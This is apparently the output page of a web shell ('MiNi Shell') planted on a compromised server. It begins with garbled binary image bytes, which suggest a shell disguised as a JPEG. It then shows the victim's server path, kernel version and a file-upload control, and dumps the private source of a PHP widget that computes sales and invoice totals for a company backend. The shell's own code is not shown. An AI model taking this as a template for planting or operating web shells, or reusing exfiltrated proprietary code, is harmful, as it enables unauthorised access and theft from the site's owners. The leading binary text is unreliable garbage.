JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/widgets/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/widgets/VerticaMonthlySalesStatementBox.php

<?php

namespace backend\widgets;

use Yii;
use yii\base\Widget;

class VerticaMonthlySalesStatementBox extends Widget
{        
    public function init()
    {
        parent::init();
    }

    public function run()
    {         
        $idUser = Yii::$app->user->id;        
        
        $timestamp = time();
        $month = date('m', $timestamp);
        $year = date('Y', $timestamp);        
        
        $dateStart = $year.'-'.$month.'-01';
        $numberOfLastDayInMonth = date("t", strtotime($dateStart));
        $dateEnd = $year.'-'.$month.'-'.($numberOfLastDayInMonth < 10 ? '0' : '').$numberOfLastDayInMonth;
        
        $totalAmount = 0.00;
        $totalAmountFromInvoices = 0.00;        
        $marketerTotalAmount = 0.00;
        $marketerTotalAmountFromInvoices = 0.00;
        
        $operatorsList = \yii\helpers\ArrayHelper::map(
            \common\models\Users::find()
                ->select(['id_user', 'forename', 'surname'])
                ->where([
                    'status' => \common\models\types\Status::ACTIVE, 
                    'profile' => [\common\models\types\UserProfile::MARKETER],
                ])
                ->orderBy('surname ASC, forename ASC')
                ->indexBy('id_user')
                ->asArray()
                ->all(),
            'id_user', 
            function($item) { return $item['surname'].' '.$item['forename']; }
        );
        
        $modelsOrders = \common\models\CompaniesOrders::find()
                    ->with(['salesDistributions'])
                    ->where([
                        'id_user' => array_keys($operatorsList)
                    ])
                    ->andWhere(['>=', 'companies_orders.order_date', $dateStart])
                    ->andWhere(['<=', 'companies_orders.order_date', $dateEnd])
                    ->all();
        
        if(!empty($modelsOrders)) {
            foreach($modelsOrders as $modelOrder) { 
                if(!empty($modelOrder->salesDistributions)) {
                    foreach($modelOrder->salesDistributions as $modelCompanyOrderSalesDistribution) {
                        if($modelOrder->currency !== 'PLN' && !empty(\common\models\CurrencyRates::getAmountInPLN($modelOrder->currency, $modelCompanyOrderSalesDistribution->amount, $modelOrder->order_date))) {
                            $salesDistributionAmount = \common\models\CurrencyRates::getAmountInPLN($modelOrder->currency, $modelCompanyOrderSalesDistribution->amount, $modelOrder->order_date);
                        } else {
                            $salesDistributionAmount = (float)$modelCompanyOrderSalesDistribution->amount;
                        }
                        
                        $totalAmount += $salesDistributionAmount;                        
                        if($modelCompanyOrderSalesDistribution->id_user === $idUser) {
                            $marketerTotalAmount += $salesDistributionAmount;
                        }
                    }                    
                } else {      
                    if($modelOrder->currency !== 'PLN' && !empty(\common\models\CurrencyRates::getAmountInPLN($modelOrder->currency, $modelOrder->amount_net_to_pay, $modelOrder->order_date))) {
                        $orderAmount = \common\models\CurrencyRates::getAmountInPLN($modelOrder->currency, $modelOrder->amount_net_to_pay, $modelOrder->order_date);
                    } else {
                        $orderAmount = (float)$modelOrder->amount_net_to_pay;
                    }
                    $totalAmount += $orderAmount;                 
                    if($modelOrder->id_user === $idUser) {
                        $marketerTotalAmount += $orderAmount;
                    }
                }
            }
            unset($modelsOrders);
        }

        $modelsInvoices = \common\models\Invoices::find()
                ->with(['company', 'items'])
                ->where([
                    'or', 
                    [
                        'and', 
                        ['>=', 'receipt_amount_date', $dateStart], 
                        ['<=', 'receipt_amount_date', $dateEnd]
                    ], 
                    [
                        'and', 
                        ['>=', 'payment_date_executed', $dateStart], 
                        ['<=', 'payment_date_executed', $dateEnd],
                        ['receipt_amount_date' => null],
                    ]
                ])                
//                ->where(['>=', 'receipt_amount_date', $dateStart])
//                ->andWhere(['<=', 'receipt_amount_date', $dateEnd])
                ->andWhere(['not', ['id_company' => null]])
//                ->orderBy('receipt_amount_date ASC')
                ->orderBy('id_invoice ASC')
                ->indexBy('id_invoice')
                ->all();        
        if(!empty($modelsInvoices)) {            
            $modelsOrdersForInvoices = \common\models\CompaniesOrders::find()
                    ->with(['salesDistributions'])
                    ->where([
                        'id_invoice' => array_keys($modelsInvoices)
                    ])
                    ->indexBy('id_invoice')
                    ->all();
            
            $idsOrdersRelatedWithInvoices = [];
            foreach($modelsInvoices as $idInvoice => $modelInvoice) { 
                if(!empty($modelInvoice->id_order)) {
                    $idsOrdersRelatedWithInvoices[$modelInvoice->id_order] = $modelInvoice->id_order;
                }
            }
            $modelsOrdersRelatedWithInvoices = \common\models\CompaniesOrders::find()
                    ->with(['salesDistributions'])
                    ->where([
                        'id_order' => array_values($idsOrdersRelatedWithInvoices)
                    ])
                    ->indexBy('id_order')
                    ->all();
            
            foreach($modelsInvoices as $idInvoice => $modelInvoice) {     
                if(!empty($modelsOrdersForInvoices[$idInvoice])) {
                    $modelOrder = $modelsOrdersForInvoices[$idInvoice];                    
                } elseif(!empty($modelsOrdersRelatedWithInvoices[$modelInvoice->id_order])) {
                    $modelOrder = $modelsOrdersRelatedWithInvoices[$modelInvoice->id_order];
                } else {
                    unset($modelsInvoices[$idInvoice]);
                    continue;
                }

                $invoiceAmount = !empty($modelInvoice->receipt_amount_value) ? $modelInvoice->receipt_amount_value : $modelInvoice->amount_gross;
                if($modelInvoice->currency !== 'PLN' && !empty(\common\models\CurrencyRates::getAmountInPLN($modelInvoice->currency, $invoiceAmount, $modelInvoice->payment_date_executed))) {
                    $invoiceAmount = \common\models\CurrencyRates::getAmountInPLN($modelInvoice->currency, $invoiceAmount, $modelInvoice->payment_date_executed);
                }
                
                if(!empty($modelOrder->salesDistributions)) {
                    foreach($modelOrder->salesDistributions as $modelCompanyOrderSalesDistribution) {
                        $partialAmount = $invoiceAmount * ($modelCompanyOrderSalesDistribution->amount / $modelOrder->amount_net_to_pay);  
//                        if($modelInvoice->invoice_type !== \common\models\types\InvoiceType::EUROPEAN) {
                        if($modelInvoice->invoice_type === \common\models\types\InvoiceType::NATIONAL) {
                            $partialAmount = $partialAmount / 1.23;
                        }                        
                        $totalAmountFromInvoices += (float)$partialAmount;                        
                        if($modelCompanyOrderSalesDistribution->id_user === $idUser) {
                            $marketerTotalAmountFromInvoices += (float)$partialAmount;
                        }
                    }                    
                } else {    
//                    $amount = (float)($modelInvoice->invoice_type !== \common\models\types\InvoiceType::EUROPEAN ? (float)$invoiceAmount / 1.23 : (float)$invoiceAmount);
                    $amount = (float)($modelInvoice->invoice_type === \common\models\types\InvoiceType::NATIONAL ? (float)$invoiceAmount / 1.23 : (float)$invoiceAmount);
                    $totalAmountFromInvoices += $amount;
                    if($modelOrder->id_user === $idUser) {
                        $marketerTotalAmountFromInvoices += $amount;
                    }
                }
            }            
            
            unset($modelsOrdersForInvoices);
            unset($modelsOrdersRelatedWithInvoices);
            unset($modelsInvoices);
        }        
        
        $packagesList = \yii\helpers\ArrayHelper::map(
            \common\models\PresentationsPackages::find()->select(['id_package', 'name'])->orderBy('package_order')->asArray()->all(), 
            'id_package', 
            'name'
        );
        
        $numberOfNewPresentations = [];
        
        $companiesPresentations = \common\models\CompaniesPresentations::find()
                ->select(['companies_presentations.id_presentation', 'companies_presentations.id_package'])
                ->join('INNER JOIN', 'operators_has_companies', 'operators_has_companies.id_company = companies_presentations.id_company')
                ->where(['operators_has_companies.id_user' => $idUser])
                ->andWhere(['>=', 'companies_presentations.created_at', $dateStart])
                ->andWhere(['<=', 'companies_presentations.created_at', $dateEnd])
                ->asArray()
                ->indexBy('id_presentation')
                ->all();
                
        if(!empty($companiesPresentations)) {
            foreach($companiesPresentations as $companyPresentation) {
                if(!isset($numberOfNewPresentations[$companyPresentation['id_package']])) {
                    $numberOfNewPresentations[$companyPresentation['id_package']] = 0;
                }
                $numberOfNewPresentations[$companyPresentation['id_package']]++;
            }
        }        
        
        //zmiana w celu wydłużenia wyszukiwania listy nieopłaconych faktur do ostatnich 3 miesięcy:
        //-------------------------------------------------------------------------------------------        
        $monthEndForUnpaidInvoices = (int)date('m', $timestamp) + 1;
        $yearEndForUnpaidInvoices = (int)date('Y', $timestamp);   
        if(((int)date('m', $timestamp) + 1) > 12) {
            $monthEndForUnpaidInvoices = $monthEndForUnpaidInvoices % 12;
            $yearEndForUnpaidInvoices += 1;
        }              
        $numberOfLastDayInMonthEnd = date("t", strtotime($yearEndForUnpaidInvoices.'-'.($monthEndForUnpaidInvoices < 10 ? '0' : '').$monthEndForUnpaidInvoices.'-01'));
        $dateEndForUnpaidInvoices = $yearEndForUnpaidInvoices.'-'.($monthEndForUnpaidInvoices < 10 ? '0' : '').$monthEndForUnpaidInvoices.'-'.$numberOfLastDayInMonthEnd;
        
        $monthStartForUnpaidInvoices = (int)date('m', $timestamp) - 2;
        $yeadStartForUnpaidInvoices = (int)date('Y', $timestamp);
        if($monthStartForUnpaidInvoices < 1) {            
            $monthStartForUnpaidInvoices = 12 - abs($monthStartForUnpaidInvoices);            
            $yeadStartForUnpaidInvoices -= 1;
        } 
        
        $dateStartForUnpaidInvoices = $yeadStartForUnpaidInvoices.'-'.($monthStartForUnpaidInvoices < 10 ? '0' : '').$monthStartForUnpaidInvoices.'-01';        
        //-------------------------------------------------------------------------------------------
        
        $modelsUnpaidInvoices = \common\models\Invoices::find()
                ->where(['invoices.status' => \common\models\types\InvoiceStatus::UNPAID])
                ->andWhere(['>=', 'invoices.payment_date', $dateStartForUnpaidInvoices])
                ->andWhere(['<=', 'invoices.payment_date', $dateEndForUnpaidInvoices])
                ->andWhere([
                    'or', 
                    [
                        'in', 
                        'invoices.id_invoice', 
                        \common\models\CompaniesOrders::find()
                            ->select(['id_invoice'])
                            ->where(['id_user' => $idUser])
                            ->andWhere(['not', ['id_invoice' => null]])
                    ], 
                    [
                        'in', 
                        'invoices.id_order', 
                        \common\models\CompaniesOrders::find()
                            ->select(['id_order'])
                            ->where(['id_user' => $idUser])
                    ],
                ])
                ->orderBy('invoices.payment_date ASC, invoices.id_invoice ASC')
                ->all();
        
        $totalAmountUnpaidInvoices = 0.00;
        if(!empty($modelsUnpaidInvoices)) {
            foreach($modelsUnpaidInvoices as $modelUnpaidInvoice) {
                if($modelUnpaidInvoice->currency !== 'PLN' && !empty(\common\models\CurrencyRates::getAmountInPLN($modelUnpaidInvoice->currency, $modelUnpaidInvoice->amount_gross, $modelUnpaidInvoice->payment_date_executed))) {
                    $totalAmountUnpaidInvoices += \common\models\CurrencyRates::getAmountInPLN($modelUnpaidInvoice->currency, $modelUnpaidInvoice->amount_gross, $modelUnpaidInvoice->payment_date_executed);
                } else {
                    $totalAmountUnpaidInvoices += $modelUnpaidInvoice->amount_gross;
                }
            }
        }
        
        $numberOfCompaniesHandledThisMonth = Yii::$app->db->createCommand('
            SELECT COUNT(*) as handled 
            FROM companies_cases_entries 
            WHERE created_at >= \''.$year.'-'.$month.'-01 00:00:00\'
                AND created_at < \''.($month == 12 ? $year + 1 : $year).'-'.($month == 12 ? '01' : $month + 1).'-01 00:00:00\' 
                AND id_user = '.$idUser.'
        ')->queryScalar();
        
        $numberOfCompaniesHandledThisDay = Yii::$app->db->createCommand('
            SELECT COUNT(*) as handled 
            FROM companies_cases_entries 
            WHERE created_at >= \''.$year.'-'.$month.'-'.date('d').' 00:00:00\'
            AND created_at <= \''.$year.'-'.$month.'-'.date('d').' 23:59:59\'
            AND id_user = '.$idUser.' 
        ')->queryScalar();
        
        return $this->render('vertica_monthly_sales_statement_box', [
            'monthName' => $this->getMonthName(time()),
            'month' => $month,
            'timestamp' => $timestamp,
            'year' => $year,
            'totalAmount' => $totalAmount, 
            'totalAmountFromInvoices' => $totalAmountFromInvoices,
            'marketerTotalAmount' => $marketerTotalAmount, 
            'marketerTotalAmountFromInvoices' => $marketerTotalAmountFromInvoices,
            'packagesList' => $packagesList,
            'numberOfNewPresentations' => $numberOfNewPresentations,
            'modelsUnpaidInvoices' => $modelsUnpaidInvoices,
            'totalAmountUnpaidInvoices' => $totalAmountUnpaidInvoices,
            'numberOfCompaniesHandledThisMonth' => $numberOfCompaniesHandledThisMonth,
            'numberOfCompaniesHandledThisDay' => $numberOfCompaniesHandledThisDay
        ]);
    }
    
    protected function getMonthName($timestamp)
    {
        $month = date('m', $timestamp);
        $monthName = '';
        
        switch($month) {
            case '01': 
                $monthName = Yii::t('common-months', 'styczeń'); 
                break;
            case '02': 
                $monthName = Yii::t('common-months', 'luty'); 
                break;
            case '03': 
                $monthName = Yii::t('common-months', 'marzec'); 
                break;
            case '04': 
                $monthName = Yii::t('common-months', 'kwiecień'); 
                break;
            case '05': 
                $monthName = Yii::t('common-months', 'maj'); 
                break;
            case '06': 
                $monthName = Yii::t('common-months', 'czerwiec'); 
                break;
            case '07': 
                $monthName = Yii::t('common-months', 'lipiec'); 
                break;
            case '08': 
                $monthName = Yii::t('common-months', 'sierpień'); 
                break;
            case '09': 
                $monthName = Yii::t('common-months', 'wrzesień'); 
                break;
            case '10': 
                $monthName = Yii::t('common-months', 'październik'); 
                break;
            case '11': 
                $monthName = Yii::t('common-months', 'listopad'); 
                break;
            case '12': 
                $monthName =  Yii::t('common-months', 'grudzień'); 
                break;
                
        }
        
        return $monthName;
    }
}

Creat By MiNi SheLL
Email: jattceo@gmail.com